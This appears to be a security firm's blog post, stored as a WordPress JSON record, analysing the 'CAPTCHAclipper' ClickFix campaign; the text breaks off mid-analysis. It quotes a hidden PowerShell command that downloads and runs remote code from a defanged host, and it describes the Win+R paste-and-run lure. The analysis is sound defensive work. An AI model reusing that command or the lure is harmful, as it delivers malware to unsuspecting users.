{"id":921,"date":"2024-11-28T08:37:00","date_gmt":"2024-11-28T08:37:00","guid":{"rendered":"https:\/\/conscia.com\/ie\/?p=921"},"modified":"2025-09-23T08:51:19","modified_gmt":"2025-09-23T07:51:19","slug":"from-captcha-to-compromise-analysis-of-captchaclipper","status":"publish","type":"post","link":"https:\/\/conscia.com\/ie\/blog\/from-captcha-to-compromise-analysis-of-captchaclipper\/","title":{"rendered":"From CAPTCHA to Compromise: Analysis of CAPTCHAclipper"},"content":{"rendered":"\n

Conscia SOC team uncovered a new attack exploiting CAPTCHA prompts. The \u201cCAPTCHAclipper\u201d attack blends social engineering and technical sophistication to deploy malware. Read our analysis to understand the attack chain, IOCs, and actionable defenses.<\/p>\n\n\n\n

The Conscia Security Operations Center (SOC) team recently uncovered a meticulously crafted attack chain executed by a threat actor leveraging a seemingly innocuous CAPTCHA prompt.<\/p>\n\n\n\n

This attack, which we\u2019ve dubbed CAPTCHAclipper<\/strong>, exemplifies the convergence of social engineering and technical sophistication to compromise victims\u2019 systems and exfiltrate sensitive data.<\/p>\n\n\n\n

We observed the same TTPs in three distinct attacks<\/strong> over the course of one month, all within the European geographical region.<\/p>\n\n\n\n

Due to the nature of the attack chain, we suspect a sophisticated threat actor is behind these attacks. However, we cannot provide any attribution at the time of writing. The main payload is probably a variant of LummaC2 <\/strong>malware.<\/a><\/p>\n\n\n\n

When we first investigated the incident, the provided IOCs were not flagged as malicious, indicating the usage of novel TTPs. However, as of publishing this article, we can already see certain AV Engines recognizing at least some of the IOCs, but they can easily be altered and repurposed.<\/p>\n\n\n\n

Below, we discuss different stages of the attack chain.<\/p>\n\n\n\n

Analysis of Attack Chain<\/h2>\n\n\n\n

Stage 1: The Malicious CAPTCHA Lure<\/h3>\n\n\n\n

The attack began with a targeted lure: users were directed to a malicious, but legitimate-looking, website hosting a PDF file that the user was presented to download in a phishing lure. Before being able to download the file, the victim is presented with interactive CAPTCHA.<\/p>\n\n\n\n

\"\"
Figure 1 \u2013 Legitimate-looking CAPTCHA is presented to victim<\/figcaption><\/figure>\n\n\n\n

This initial step served a dual purpose:<\/p>\n\n\n\n

    \n
  1. It established a layer of trust by mimicking legitimate verification methods.<\/li>\n\n\n\n
  2. It initiated the first technical exploit via JavaScript, which we also recognize as \u2018ClickFix<\/a>\u2019 or \u2018paste and run\u2019 technique.<\/li>\n<\/ol>\n\n\n\n

    When users engaged with the CAPTCHA to access a promised PDF file, a malicious JavaScript payload silently executed in the background.<\/p>\n\n\n\n

    This script copied a PowerShell command to the system clipboard, preparing the ground for the next stage:<\/p>\n\n\n\n

    powershell -WindowStyle Hidden -Command \u201c$rQd=\u2018https:\/\/s3-scw-tx.b-cdn[.]net\/prizev2[.]txt\u2019; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;\u201d<\/code><\/pre>\n\n\n\n
    \"\"
    Figure 2 \u2013 HTML code shows embedded JavaScript that copies malicious command to clipboard<\/figcaption><\/figure>\n\n\n\n
    Stage 2: Social Engineering with Malicious Instructions<\/strong><\/h3>\n\n\n\n
    After completing the CAPTCHA, victims received a notification for verification steps before being able to download the file. In order to download it, the victim had to follow the provided instructions, which were critical to the attack\u2019s success.<\/p>\n\n\n\n
      \n
    1. Press\u00a0Win+R <\/strong>to open the Run dialog.<\/li>\n\n\n\n
    2. Press CTRL+V<\/strong> to paste the clipboard command (not knowingly).<\/li>\n\n\n\n
    3. Press Enter.<\/li>\n<\/ol>\n\n\n\n
      \"Figure
      Figure 3 \u2013 Victim is introduced with fake verification steps to lure them initiating the attack chain<\/figcaption><\/figure>\n\n\n\n
      This seemingly benign command was, in reality, a carefully engineered delivery mechanism. It:<\/p>\n\n\n\n